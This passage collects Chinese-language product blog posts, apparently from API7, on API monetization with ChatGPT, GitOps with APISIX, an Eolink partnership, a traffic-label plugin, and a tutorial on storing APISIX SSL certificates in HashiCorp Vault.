的使用和变现策略。</li> <li>商业分析和洞察: API Portal 可以通过对 API 调用数据的分析和洞察，为企业和开发者提供商业分析和洞察，帮助他们了解 API 的商业价值和用户行为，从而更好地优化商业模式和提升盈利能力。</li> </ol> <h2>基于 API Portal 的 API 货币化实现方式</h2> <p>通过 API，企业可以鼓励第三方开发者基于 ChatGPT 和企业开放的 API 构建新的应用、服务或解决方案，拓宽业务来源和流量入口。例如，开发者可以通过 ChatGPT 构建智能对话机器人、智能助理、智能分析工具等创新型应用，聚合不同渠道的服务为客户择优录取，降低用户的使用门槛，提高用户的使用频率，而提供 API 的企业也能从中获取商业价值及利润。</p> <p>常见的 API 货币化实现方式有：</p> <ol> <li>API 订阅模式：企业和开发者可以通过在 API Portal 上设置订阅计划，为用户提供不同的 API 调用级别和功能。例如，他们可以设置免费的基本订阅计划，限制用户每天或每月可以调用的 API 次数；同时，他们可以提供高级的付费订阅计划，允许用户获得更高的调用频率、更丰富的功能和优先支持。</li> <li>API 广告模式：类似于网站和应用程序中的广告模式，API Portal 可以在 API 调用过程中插入广告，从而为企业和开发者提供广告展示的机会，从广告商那里获得广告费用。例如，当用户调用某个 API 时， API Portal 可以在 API 返回结果中插入广告内容，从而在用户使用API的过程中生成广告收入。</li> <li>API 交易模式：API Portal 可以充当一个市场平台，允许企业和开发者在平台上交易 API。例如，企业和开发者可以在 API Portal 上创建自己的 API 产品，设置相应的价格，并将其提供给其他开发者和用户使用。</li> <li>API 附加值服务模式：除了提供基本的 API 调用功能外，API Portal 还可以通过添加附加值服务来实现货币化。例如，企业和开发者可以在 API Portal 上提供数据分析、报告生成、定制化的 API 文档、技术支持等增值服务，辅助开发者或 ChatGPT 的智能调用，并收取相应的费用。这样，企业和开发者可以通过提供高附加值的服务来获得额外的收入。</li> </ol> <h2>如何利用 API 实现商业价值创造</h2> <ol> <li>创造新的收入来源：API 可以作为一种新的商业模式，通过 API 的货币化实现新的收益流。例如，企业可以将内部的核心业务功能通过 API 开放给第三方开发者，从中获得 API 订阅费用、广告费用、交易佣金等收入。此外，通过附加值服务、数据分析、定制化功能等方式，还可以为 API 提供额外的收费选项，从而创造更多的收益流。</li> <li>拓展市场份额：通过 API 开放，企业可以拓展市场份额，吸引更多的合作伙伴和开发者参与生态系统，快速加入新兴的领域，搭上“顺风车”，通过与创新的合作伙伴共同创造价值，实现市场份额的增加。通过提供易于使用和灵活的 API，可以吸引更多的开发者使用和集成企业的产品或服务，从而扩大企业的用户基础。</li> <li>数据开放和数据驱动决策：通过 API，企业可以将数据开放给第三方开发者，从而获得更多的数据资源和洞察。这些数据可以用于数据分析、业务决策和市场洞察，帮助企业做出更加明智的战略决策。同时，数据的开放还可以激发数据驱动的创新，促使开发者基于数据构建新的应用和服务，从而为企业带来更多的商业价值。</li> </ol> <h2>API 货币化与 ChatGPT 结合的未来展望</h2> <p>ChatGPT 作为一种先进的自然语言处理技术，未来有望与 API 货币化相结合，为企业创造更多商业价值。</p> <p>以下是 ChatGPT 与 API 货币化结合的一些未来展望:</p> <ol> <li>聊天式 API 接口：ChatGPT 可以作为一种人机交互的方式，与用户进行自然语言对话，并通过 API 与后端服务进行交互。未来，ChatGPT 可以与 API Portal 结合，充当 API 接口的一种形式，通过聊天式对话的方式，实现用户对API 功能的访问和使用。这将为用户提供更加直观、灵活和便捷的方式来使用 API，从而提升用户体验，扩展 API 的应用场景。</li> <li>智能 API 推荐和自动化 API 集成：ChatGPT 可以通过对用户对话的理解和分析，识别出用户的需求，并根据用户的意图智能推荐合适的 API 服务并直接调用。ChatGPT 还可以通过自动化的方式，将用户的需求转化为 API 调用，实现对后端 API 的自动集成和调用。这将为企业提供更加智能化和自动化的 API 集成方式，提高 API 的使用效率和便捷性，也能针对性地推出不同的 API 套餐，最大化获取商业价值。</li> <li>数据驱动的 API 优化和改进：ChatGPT 可以通过对用户对话和反馈的分析，提供有关 API 性能、功能和用户体验的实时数据反馈。这将帮助企业更好地了解用户对 API 的评价和需求，进行数据驱动的 API 优化和改进。例如，通过对用户反馈的情感分析，发现 API 的问题并及时修复，通过对 API 使用数据的分析，优化 API 的性能和功能，或根据数据分析进行用户分层，匹配不同的 API 货币化模式。</li> <li>API 货币化的新商业模式：ChatGPT 与 API 货币化结合还有望创造新的商业模式。例如，通过 ChatGPT 作为中介，将用户需求与 API 服务进行匹配，并引入 API 的收费和计费模式，实现 API 的货币化。例如，通过 ChatGPT 提供付费的咨询和支持服务等。</li> </ol> <h2>总结</h2> <p>在未来，随着 ChatGPT 等新兴技术带动 API 的不断演进和商业需求的变化，API Portal 将在 API 货币化中发挥更加重要的作用。它将成为企业实现 API 货币化的关键工具，帮助企业更好地管理、保护、监控和优化 API，并推动 API 的商业创新和价值创造。API7 Portal 是 API7 （支流科技）最新推出的 API 全生命周期管理解决方案，开箱即用，您可以专注于核心业务，而不必担心复杂的基础设施，从而简化 API 管理，轻松无忧！</p>

<h2>GitOps 解密</h2> <p>GitOps 是一种基于 Git 版本控制系统的运维方法论和实践，旨在实现基础设施和应用程序的持续交付和自动化管理。它将软件交付、配置管理和基础设施管理的过程与 Git 的工作流程和特性相结合，以实现高度可控、可审计和可重复的运维流程。</p> <p>在现代的开发环境中，用户希望能够以声明式的方式存储 API 配置，以便更好地管理和跟踪变更。同时，用户也希望能确保在生产环境配置 API 时，能够有人通过 GitHub 的自动化工作流检查、批准每一次变更，团队成员能确保每一次变更都经过适当的验证，并符合生产环境的要求。</p> <p>通过 GitOps，运维团队可以通过 Git 的工作流程和自动化工具，实现对基础设施和应用程序的全生命周期管理，包括配置变更、部署、监控和回滚等操作。它提供了一种可靠、可控的方式来管理复杂的分布式系统，同时使得团队能够更好地协作和追踪配置变更，从而提高系统的稳定性和可维护性。</p> <p>GitOps 的优势体现在以下几个方面：</p> <ol> <li>可追溯性和可审计性：GitOps 将应用程序的所有配置和变更存储在 Git 仓库中，使得整个交付过程具有完全的可追溯性和可审计性。你可以轻松地查看和比较各个版本之间的变更，了解每个变更的目的和影响。</li> <li>自动化和一致性：GitOps 鼓励将所有环境配置和更新作为代码进行管理。通过使用 Git 作为单一的源头，可以自动化部署和更新过程，确保所有环境都是一致的。这种自动化减少了人为错误和配置漂移的风险。</li> <li>可扩展性和灵活性：GitOps 适用于各种规模的项目和组织。无论是小型团队还是大型企业，都可以利用它的优势来管理其应用程序的生命周期。GitOps 还可以与现有的工具和流程进行集成，提供灵活性和可扩展性。</li> <li>团队协作和透明度：GitOps 基于 Git，它是开发人员之间共享和合作的常用工具。通过使用 GitOps，团队成员可以更轻松地合作开发和管理应用程序，每个人都可以了解应用程序的当前状态和变更历史。</li> <li>安全性：GitOps 强调基础设施即代码和可审计性，这有助于提高安全性。所有环境的配置都存储在 Git 仓库中，并通过自动化流程进行部署和更新，减少了人为错误和安全漏洞的风险。</li> </ol> <h2>加速软件交付的利器，实现自动化的不二选择</h2> <p><a href="https://api7.ai/apisix">APISIX</a> 是 <a href="https://www.apache.org/">Apache 软件基金会</a>下的一个高度可扩展的开源 API 网关，它提供了丰富的功能和灵活的配置选项，使开发人员能够根据项目需求轻松定制和扩展，从而让集成和管理 API 变得更加便捷和高效。</p> <p>而基于 APISIX 之上的 <a href="https://api7.ai/enterprise">API7 企业版</a>提供了一套完整的工具和功能，可以通过导出配置、导入配置的方式实现资源迁移和同步，将 GitOps 引入 API7 可以实现自动化部署和更新。</p> <p>那么 APISIX 和 API7 企业版是如何实现自动化的呢？</p> <p><img src="https://static.apiseven.com/uploads/2023/06/28/QMbUq5rJ_img_v2_519d4040-7a51-4fa2-9adb-0e9ab2df6cag.jpg" alt="APISIX and API7 Enterprise Achieve Efficient GitOps" referrerpolicy="no-referrer"></p> <h3>YAML</h3> <p>API7 提供了一套 SDK，能在 CI/CD 中进行调用，以便解析 YAML 配置、转换成 API7/APISIX 能够识别的配置。</p> <p>当新的提交触发 CI/CD时，用 git diff 可以获取变化的文件列表。通过配置文件中定义的监控目录，分析哪些环境中的定义文件有变化。最后在指定环境中调用 Admin API 完成创建或编辑 API 配置。</p> <p>通过触发 CI/CD 流程，可以自动检测代码变更并进行相应操作，实现快速部署和发布。通过配置文件可指定 API 配置存放的目录，可以灵活地监控指定目录下文件的变化，从而只对需要的文件进行处理。</p> <h3>CLI</h3> <p>除支持上述实现方式外，还可以通过导出配置、导入配置的方式实现资源迁移和同步，这种实现方式的成本很低，不需要额外的工具。</p> <p>通过导出配置，你可以将当前环境中的 API7 配置文件导出为一个文件，其中包含了 API 定义、路由规则、插件配置等信息。导出的配置文件可以保存在本地或者上传到目标环境。将之前导出的配置文件导入到目标环境之后，CLI 会解析配置文件，并自动创建相应的 API 和配置。</p> <p>使用 CLI 进行资源迁移的优势在于，它提供了一种简单快捷的方式来管理和迁移配置，无需依赖额外的工具和复杂的配置过程，可以轻松地进行资源迁移和同步操作，大大减少了部署和迁移的成本。</p> <h2>为用户提供高效、可靠的软件交付</h2> <p>使用 APISIX 能轻松实现持续集成和持续交付的流程。无论是自动化构建、自动化测试还是自动化部署，APISIX 都能为你提供强大的工具和功能，助力你实现快速、可靠的软件交付。API7 企业版产品结合了 APISIX 的强大功能，并提供了易于使用的界面和丰富的工具集。不论你是在云端还是本地环境，这些产品都能满足你的需求，帮助你建立起高效的 GitOps 流程。</p> <p>选择 APISIX 和 API7 企业版，你将体验到：</p> <ul> <li>简化的 CI/CD 流程，加快软件交付速度</li> <li>灵活的插件生态系统，满足个性化需求</li> <li>高性能和可靠的流量管理与路由功能</li> <li>易于使用的界面和丰富的工具集</li> <li>可靠的技术支持和社区生态系统</li> </ul> <p>无论你是开发人员还是运维团队，APISIX 以及 API7 企业版都能为你提供卓越的 CI/CD 集成支持。无需再为复杂的 CI/CD 流程而烦恼！选择 APISIX 和 API7 企业版，让你的软件开发和交付变得更加高效、简单和可靠！</p>

<p>在当今竞争激烈的市场环境中，企业不断地向数字化转型迈进，API 已经成为数字化转型中不可或缺的一环。如何统筹规划、管理保护 API 早已成为企业研发团队的核心挑战。</p> <p><strong>Eolink 和 API7 支流科技 作为国内领先的专业厂商，一直引领着 API 管理及应用安全领域的发展。</strong> 面对企业 API 管理及保护日益增长的严苛需求，Eolink 和 API7 在近日达成了战略合作，共同推出了 <strong>API 研发管理+自动化测试+网关一体化联合解决方案</strong>，打通 API 从开发到上线的全流程。</p> <blockquote> <p><strong>Eolink Apikit</strong> — API 研发管理和自动化测试平台，基于 API 文档的高效一体化接口研发流程，告别重复机械的数据粘贴，零代码低门槛实现 API 接口自动化测试，助力企业管好、用好 API。</p> <p><strong>API7 企业级产品</strong> — 基于动态、实时、高性能的云原生 API 网关 APISIX 之上，提供 API 设计、API 开发、API 门户、API 货币化等更多领域的解决方案。</p> </blockquote> <p>Eolink 与 API7 将充分发挥在各自品牌优势和平台的技术能力，强强联合，助推传统企业在数字化管理及产业互联网化的加速转型。此次战略合作实现了高效和安全两手抓，保障 API 研发管理全生命周期流程高速的运作，为企业研发的降本增效提供了切实可行的最佳实践。</p> <p><img src="https://static.apiseven.com/uploads/2023/06/25/tsEiqxNu_%E6%88%98%E7%95%A5%E5%90%88%E4%BD%9C%E6%B5%B7%E6%8A%A5.png" alt="Eolink cooerates with API7" referrerpolicy="no-referrer"></p> <p>对广大企业的研发团队而言，随着企业内部研发的 API 接口数量的日渐增多，对于接口研发管理流程的高效性及接口监控安全性逐渐提出了更高的要求。</p> <p>而在传统的 API 接口研发管理过程中，往往因为缺少规范性和统一性的研发管理体系，导致 API 的管理比较混乱，企业不知道有多少接口，容易造成研发资产的浪费；而常用工具如 Postman、Swagger 以及各类网关等工具无法实现很好的互通融合和本土化，并且增加了操作成本与接口安全的风险。</p> <p>在 API 接口的管理上，如何“低成本、高效率”地提升 API 接口研发管理效率以及接口发布的安全监控，想必是各家研发团队最头疼的问题。</p> <p>现如今，通过 <strong>Eolink + API7 的 API 研发管理+自动化测试+网关一体化联合解决方案</strong>，打通 API 从开发到上线的全流程，可高效便捷地实现 API 文档的云端协作，在拥有更低学习成本的自动化测试能力外，结合了 API7 高性能开源网关的平台能力，极大地提升API 接口的研发测试和发布效率。</p> <h2>双方合作展望寄语</h2> <p><img src="https://static.apiseven.com/uploads/2023/06/28/NkIrlV70_301687945247_.pic.jpg" alt="Eolink and API7 CEO look forward to cooperation" referrerpolicy="no-referrer"></p> <p>Eolink CEO 刘昊臻表示：</p> <blockquote> <p>API7 支流科技 在国内尤其在基础软件领域拥有广泛的用户基础，其 API 网关无论产品还是生态集成能力在业内都是领先的，此次同 API7 支流科技 合作与 Eolink 在 API 研发管理以及自动化测试商业板块、开源板块的业务以及平台的全方位结合，优势叠加，共同打造领先的 API 管理一体化、全链路的解决方案，非常期待我们双方能在生态合作上擦出更亮的火花。</p> </blockquote> <p>API7 支流科技 CEO 温铭表示：</p> <blockquote> <p>Eolink 是 API 研发管理领域的领军企业，是业内值得信赖的合作伙伴。我非常认同 Eolink 倡导的 DTDD （文档与测试驱动研发）的先进理念，而且目前已经在国内众多头部企业得到很好实践，有超过 10 万企业认可。这次的合作是基于我们共同的技术和产品价值观，一起为广大开发者用户提供更具能效和安全性的平台服务。</p> </blockquote> <p>在全球 API 经济化的今天，Eolink 一直以来致力于生态赋能发展，积极做好 API 全生命周期管理以及 API 优先的倡导者，而在这条任重道远的路上，API7 将为企业应用管理、接口监控安全持续护航。</p> <p>未来，企业 API 进一步开放是必然选择。我们也非常期待，Eolink 和 API7 双方的生态合作，携手共赢，为推动我国企业研发协同管理的数字化及 API 经济的稳健发展共同努力。</p>

<p>我们激动地宣布，API7 企业版即将推出一款令人震撼的全新插件——流量染色（traffic-label）！这个功能将为 API流量管理带来前所未有的控制力和灵活性，让您的企业能够通过精确的流量分类，实现性能的优化、用户体验的个性化，并通过准确的流量分析获取宝贵的见解。准备探索这个令人期待的创新吧，您将体验到前所未有的流量管理能力！</p> <h2>理解流量染色</h2> <p>流量染色是一种在 API 流量管理中广泛应用的技术，通过对流量进行精确的分类和标记，以便在后续的处理和分析中能够针对不同类型的流量做出不同的策略和决策。</p> <p>流量染色的工作原理主要涉及以下几个步骤：</p> <ul> <li>捕获流量：API 网关或代理会捕获进入系统的 API 请求和响应流量。</li> <li>提取属性：从捕获的流量中提取关键属性，如请求的路径、方法、头部信息等。</li> <li>匹配规则：将提取的属性与预定义的流量分类规则进行匹配，以确定流量的分类。</li> <li>标记流量：根据匹配结果，在请求头中加入指定字段，对流量进行标记。</li> <li>后续处理：根据不同的流量类别，可以针对性地应用各种处理策略，如路由、限流、认证等。</li> </ul> <h2>流量染色的应用场景</h2> <ol> <li> <p>A/B 测试：通过对流量进行染色，将用户分成不同的群体，使其分别访问不同的版本或功能。这样可以评估和比较不同版本的效果，从而做出更好的决策。</p> </li> <li> <p>功能发布：在进行新功能发布时，可以通过流量染色将一部分用户导流至新功能，以评估其稳定性和用户体验。这有助于降低风险，确保新功能能够正常运行。</p> </li> <li> <p>性能优化：通过流量染色，可以将一部分流量引导到优化后的服务或基础设施上，以验证其性能改进效果。这有助于提高系统的响应能力和稳定性。</p> </li> <li> <p>故障排查：当系统出现故障或异常时，流量染色可以帮助将特定的用户流量路由到故障检测和排查的目标系统中，以更精确地分析和解决问题。</p> </li> <li> <p>个性化定制：通过流量染色，可以将用户流量分成不同的群体，并针对每个群体提供个性化的服务或内容。这有助于提高用户体验和满意度。</p> </li> </ol> <h2>流量染色应用示例</h2> <p>如图所示是一个流量染色的例子。</p> <ol> <li> <p>根据请求所带 UID 字段区分来自不同终端的流量，例如按终端类型（APP/网页/小程序）或终端地域来区分。</p> </li> <li> <p>将其中 UID = 1 的终端请求中的 20% 作为测试流量，在 header 中添加 env = v1，此部分流量将进入 v1 环境，灰度新的用户模块与订单模块，商品模块仍然使用 base 环境中的服务。</p> </li> <li> <p>将其中 UID = 2 的终端请求在 header 中添加 env=v2，将这部分流量全部引入 v2 环境，灰度特殊版本的用户模块和商品模块，订单模块仍然使用 base 环境中的服务。</p> </li> </ol> <p><img src="https://static.apiseven.com/uploads/2023/06/14/PM15gpLK_traffic-labeling-%E4%B8%AD.png" alt="Trafic Labeling Diagram" referrerpolicy="no-referrer"></p> <h2>与现有插件区别</h2> <ol> <li> <p>和 traffic-split 插件差别：</p> <p>a. 支持通过 header追踪分流情况：traffic-split 在网关上分流立刻生效且不会对请求本身做任何改写，您只能得到最终的分流结果，无法通过 header 追溯具体的某个请求是否经过分流、如何分流，做进一步精细化分析。</p> <p>b. 支持由网关之后的其他平台做二次分流：微服务架构中请求将经过多个模块，traffic-split 只能在网关层做一次分流，无法在后续服务中进一步分流。</p> </li> <li> <p>和 worflow 插件区别：</p> <p>支持设置多个匹配规则，并对命中不同规则的请求分别进行改写。不同点是 traffic-label 插件支持对改写动作设置权重，流量会按照设置的权重分发。</p> </li> </ol> <h2>使用 API7 企业版实施流量染色</h2> <ol> <li> <p>确定明确的目标和策略：</p> <p>在开始使用流量染色之前，明确你的目标和策略是非常重要的。确定你想要实现的具体结果，并制定相应的策略和规则来实现这些目标。这可能涉及到性能优化、个性化定制、数据分析等方面。</p> </li> <li> <p>配置 traffic-label 插件：</p> <p>插件的核心配置由一个 <code>match</code> 和一个 <code>actions</code> 数组组成，其中 <code>match</code> 是匹配条件，支持逻辑运算符 AND 和 OR；<code>actions</code> 是要执行的一个或多个动作。</p> <p>当 <code>match</code> 成功匹配后会根据权重分配具体 <code>actions</code>，例如 action1 的 weight 是 3， action2 的 weight 是 7，则有30% 的流量会执行 action1，70% 的流量会执行 action2。</p> </li> <li> <p>持续监控和微调：</p> <p>流量染色并非一次性的任务，而是一个持续的过程。监控流量染色的效果和结果是至关重要的，以确保它能够实现预期的效果并符合目标。根据监控结果，及时进行微调和优化，以提高流量染色的精确性和效率。</p> </li> <li> <p>开发和运营团队的协作：</p> <p>流量染色的成功需要开发和运营团队之间的密切协作和合作。开发团队负责实施流量染色的技术方案，而运营团队则负责制定策略、监控效果并做出调整。确保这两个团队之间的沟通畅通，并共享信息和数据，以便共同推动流量染色的成功实施。</p> </li> </ol> <p>通过遵循这些最佳实践，您可以更好地应用流量染色，提高 API 流量管理的效果和价值。</p> <h2>欢迎联系我们</h2> <p>流量染色不仅仅是一个功能，它代表了 API7 企业版对于满足现代企业和开发者需求的持续努力和创新。我们致力于提供最佳实践和工具，使您能够充分利用流量染色功能，实现更精确、更灵活的 API 流量管理。</p> <p>API7 企业版提供了丰富的安全性、可靠性和可扩展性等特性，以及高效的 API 管理工具和分析功能，帮助企业用户实现高效、稳定的应用集成。欢迎与我们联系 <a href="https://api7.ai/contact">https://api7.ai/contact</a> 获取个性化的支持和解决方案。</p>

<p>API 网关是 API 全生命周期管理中的关键基础组件，是所有终端流量的入口，负责把下游客户端的 API 请求路由到正确的上游服务进行处理。因此，API 网关承担了上游服务和下游客户端之间的网络通信。</p> <p>Apache APISIX 作为新一代的云原生 API 网关，提供了下游客户端与 APISIX、APISIX 与上游服务之间的 TLS/mTLS 通信机制，从而保证下游客户端与 API 网关之间、API 网关与上游服务之间的网络通信安全。APISIX 将SSL 证书保存为 SSL Certificate 对象，并通过支持 TLS 协议的扩展 SNI 实现 SSL 证书的动态加载。</p> <p>为了更好地对 APISIX 中 SSL 证书安全存储，APISIX 实现了与 HashiCorp Vault 的集成，从而借助 Vault 的 secret 安全存储优势，实现对 SSL 证书的统一管理。本文以配置下游客户端与 APISIX 之间 HTTPS 通信为例，介绍 APISIX 如何集成 Vault 实现 SSL 证书管理。</p> <p><img src="https://static.apiseven.com/uploads/2023/06/02/mro1F6j9_vault-store-certs.png" alt="Integrate APISIX with Vault" referrerpolicy="no-referrer"></p> <h2>什么是 SSL 证书</h2> <p>SSL/TLS 是一种安全通信协议，它通过建立通信双方的加密网络连接，从而保护网络通信的安全性。SSL/TLS 协议通过认证用户和服务器，确保数据发送到正确的客户机和服务器。此外，SSL/TLS 协议可以加密通信数据，从而确保数据在传输过程中不被窃取、篡改或伪造。</p> <p>SSL 证书是一种数字证书，用于认证网站的身份，并使用 SSL/TLS 协议对网络通信进行加密。SSL 证书通常由受信任的数字证书颁发机构 CA 颁发，其主要包含以下信息：</p> <ul> <li>证书颁发机构的域名</li> <li>证书颁发机构</li> <li>证书颁发机构的数字签名</li> <li>关联的子域</li> <li>证书颁发日期</li> <li>证书到期日期</li> <li>公钥（私钥为保密状态）</li> </ul> <h2>什么是 HashiCorp Vault</h2> <p>HashiCorp Vault（以下简称 Vault）是一款企业级 Secret 管理工具，可以存储和管理令牌、密码、证书等敏感数据。Vault 可以与整个IT系统中的技术进行集成，提供基于身份的安全自动化和加密服务，集中控制对敏感数据和系统的访问，帮助组织降低数据泄露和数据暴露的风险，从而提高云和应用程序的安全性。</p> <p><img src="https://static.apiseven.com/uploads/2023/06/02/wuRcIbeH_vault.png" alt="HashiCorp Vault" referrerpolicy="no-referrer"></p> <h2>如何在 Vault 中存储 APISIX SSL 证书</h2> <h3>环境准备</h3> <ul> <li>安装 <a href="https://docs.docker.com/get-docker/">Docker</a></li> <li>安装 <a href="https://curl.se/">cURL</a></li> <li>一个正常运行的 APISIX 服务，或按照 <a href="https://docs.api7.ai/apisix/getting-started/">Getting Started tutorial</a> 部署一个 APISIX Docker 容器</li> </ul> <h3>部署并配置 Vault 服务</h3> <p>本节将使用 Docker 部署一个 Vault 容器服务。如果环境中已有可用的 Vault 服务实例，可跳过本节。</p> <p>创建并部署一个 Dev 模式下的 Vault 容器，命名为 <code>apisix-quickstart-vault</code>。指定 Vault Token 为 <code>apisix-quickstart-vault-token</code> 并将端口 <code>8200</code> 映射至主机：</p> <pre><code class="language-shell">docker run -d --cap-add=IPC_LOCK \ -e 'VAULT_DEV_LISTEN_ADDRESS=0.0.0.0:8200' \ -e 'VAULT_ADDR=http://0.0.0.0:8200' \ -e 'VAULT_DEV_ROOT_TOKEN_ID=apisix-quickstart-vault-token' \ -e 'VAULT_TOKEN=apisix-quickstart-vault-token' \ --network=apisix-quickstart-net \ --name apisix-quickstart-vault \ -p 8200:8200 vault:1.13.0 </code></pre> <p>选择 <code>kv</code> 作为 APISIX 的 SSL 证书存储路径：</p> <pre><code class="language-shell">docker exec apisix-quickstart-vault vault secrets enable -path=kv -version=1 kv </code></pre> <h3>配置 APISIX</h3> <p>APISIX 需要从 Vault 读取 SSL 证书，因此 Vault 应授予 APISIX 指定路径的读权限。</p> <p>创建一个名为 <code>apisix-policy.hcl</code> 的 Vault 策略文件，授予 APISIX 对路径 <code>kv/apisix/</code> 的读权限：</p> <pre><code class="language-shell">docker exec apisix-quickstart-vault /bin/sh -c "echo ' path \"kv/apisix/*\" { capabilities = [\"read\"] } ' &gt; /etc/apisix-policy.hcl" </code></pre> <p>将创建好的策略文件 <code>apisix-policy.hcl</code> 应用至 Vault：</p> <pre><code class="language-shell">docker exec apisix-quickstart-vault vault policy write apisix-policy /etc/apisix-policy.hcl </code></pre> <p>创建一个 id 为 <code>quickstart-secret-id</code> 的 APISIX secret 对象，保存 Vault 连接信息和证书存储路径：</p> <pre><code class="language-shell">curl -i "http://127.0.0.1:9180/apisix/admin/secrets/vault/quickstart-secret-id" -X PUT -d ' { "uri": "http://apisix-quickstart-vault:8200", "prefix": "kv/apisix", "token" : "apisix-quickstart-vault-token" }' </code></pre> <h3>存储 SSL 证书至 Vault</h3> <p>创建自签 CA 证书 <code>ca.crt</code> 和密钥 <code>ca.key</code>：</p> <pre><code class="language-shell">openssl genrsa -out ca.key 2048 &amp;&amp; \ openssl req -new -sha256 -key ca.key -out ca.csr -subj "/CN=ROOTCA" &amp;&amp; \ openssl x509 -req -days 36500 -sha256 -extensions v3_ca -signkey ca.key -in ca.csr -out ca.crt </code></pre> <p>通过 CA 签发 SSL 证书 <code>server.crt</code> 及密钥 <code>server.key</code>，其 common name (CN) 为 <code>test.com</code>：</p> <pre><code class="language-shell">openssl genrsa -out server.key 2048 &amp;&amp; \ openssl req -new -sha256 -key server.key -out server.csr -subj "/CN=test.com" &amp;&amp; \ openssl x509 -req -days 36500 -sha256 -extensions v3_req \ -CA ca.crt -CAkey ca.key -CAserial ca.srl -CAcreateserial \ -in server.csr -out server.crt </code></pre> <p>将签发的 SSL 证书及密钥拷贝至 Vault 容器中：</p> <pre><code class="language-shell">docker cp server.key apisix-quickstart-vault:/root/ docker cp server.crt apisix-quickstart-vault:/root/ </code></pre> <p>使用 <code>vault kv put</code> 命令，将 SSL证书及密钥存储为 secret，其 key 为 <code>ssl</code>，存储路径为 <code>kv/apisix</code>：</p> <pre><code class="language-shell">docker exec apisix-quickstart-vault vault kv put kv/apisix/ssl test.com.crt=@/root/server.crt test.com.key=@/root/server.key </code></pre> <p>通过上述命令，我们在 Vault 中存储了一个名为 <code>ssl</code> 的 secret，其包含 2 个键值对：证书及私钥。</p> <h2>如何使用 Vault 中存储的 APISIX SSL 证书</h2> <p>APISIX 支持下游客户端与 APISIX、APISIX 与上游服务之间的 TLS/mTLS 网络通信加密，Vault 存储的 SSL 证书均可使用。本文以配置客户端与 APISIX 之间 HTTPS 通信为例，演示如何在 APISIX 中使用 Vault 存储的 SSL 证书。</p> <h3>配置客户端与 APISIX 之间 HTTPS 通信</h3> <p>创建一个 SSL certificate 对象来保存 SSL 证书：</p> <pre><code class="language-shell">curl -i "http://127.0.0.1:9180/apisix/admin/ssls" -X PUT -d ' { "id": "quickstart-tls-client-ssl", "sni": "test.com", "cert": "$secret://vault/quickstart-secret-id/ssl/test.com.crt", "key": "$secret://vault/quickstart-secret-id/ssl/test.com.key" }' </code></pre> <p>该对象的 sni 为 <code>test.com</code>，与签发证书的 CN 保持一致。cert 和 key 对应为签发的证书及私钥，通过既定的 secret 资源定位符从 Vault 中自动获取，其资源定位规则为：</p> <pre><code class="language-text">$secret://$manager/$id/$secret_name/$key </code></pre> <ul> <li>manager: 密钥管理服务 Vault</li> <li>id: APISIX secret 资源 ID</li> <li>secret_name: Vault 中的 secret 名称</li> <li>key：名为 secret_name 的 secret 中键值对的 key</li> </ul> <h3>验证客户端与 APISIX 之间 HTTPS 通信</h3> <p>创建一个路由，将所有发送至 <code>/ip</code> 的请求转发至上游 <code>httpbin.org</code>：</p> <pre><code class="language-shell">curl -i "http://127.0.0.1:9180/apisix/admin/routes" -X PUT -d ' { "id": "quickstart-client-ip", "uri": "/ip", "upstream": { "nodes": { "httpbin.org:80":1 }, "type": "roundrobin" } }' </code></pre> <p>使用 cURL 发送请求至 <code>https://test.com:9443/ip</code>，<code>test.com</code> 可解析为 <code>127.0.0.1</code>:</p> <pre><code class="language-shell">curl -ikv --resolve "test.com:9443:127.0.0.1" "https://test.com:9443/ip" </code></pre> <p>如果配置成功，cURL 返回的客户端与 APISIX TLS 握手过程将与以下结果相同：</p> <pre><code class="language-text">* Added test.com:9443:127.0.0.1 to DNS cache * Hostname test.com was found in DNS cache * Trying 127.0.0.1:9443... * Connected to test.com (127.0.0.1) port 9443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN, server accepted to use h2 * Server certificate: * subject: CN=test.com * start date: Apr 21 07:47:54 2023 GMT * expire date: Mar 28 07:47:54 2123 GMT * issuer: CN=ROOTCA * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x556274d632e0) &gt; GET /ip HTTP/2 &gt; Host: test.com:9443 &gt; user-agent: curl/7.74.0 &gt; accept: */* &gt; * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * old SSL session ID is stale, removing * Connection state changed (MAX_CONCURRENT_STREAMS == 128)! &lt; HTTP/2 200 HTTP/2 200 ... </code></pre> <h2>总结</h2> <p>本文介绍了 APISIX 如何集成 Vault 实现 SSL 证书管理，并以配置下游客户端与 APISIX 之间 HTTPS 通信为例，详细展示了配置与集成步骤。关于 APISIX 中 SSL 证书的相关概念及使用场景，可进一步参考以下文章：</p> <ul> <li><a href="https://docs.api7.ai/apisix/key-concepts/ssl-certificates">SSL Certificates</a></li> <li><a href="https://docs.api7.ai/apisix/how-to-guide/traffic-management/tls-and-mtls/configure-upstream-https">Configure Upstream HTTPS</a></li> <li><a href="https://docs.api7.ai/apisix/how-to-guide/traffic-management/tls-and-mtls/configure-https-between-client-and-apisix">Configure HTTPS Between Client and APISIX</a></li> <li><a href="https://docs.api7.ai/apisix/how-to-guide/traffic-management/tls-and-mtls/configure-mtls-between-client-and-apisix">Configure mTLS Between Client and APISIX</a></li> </ul>

关于优化公众号客服消息接口能力的通知

微信支付SDK更新通知（内含礼品）

微信支付网络变更通知（05.25）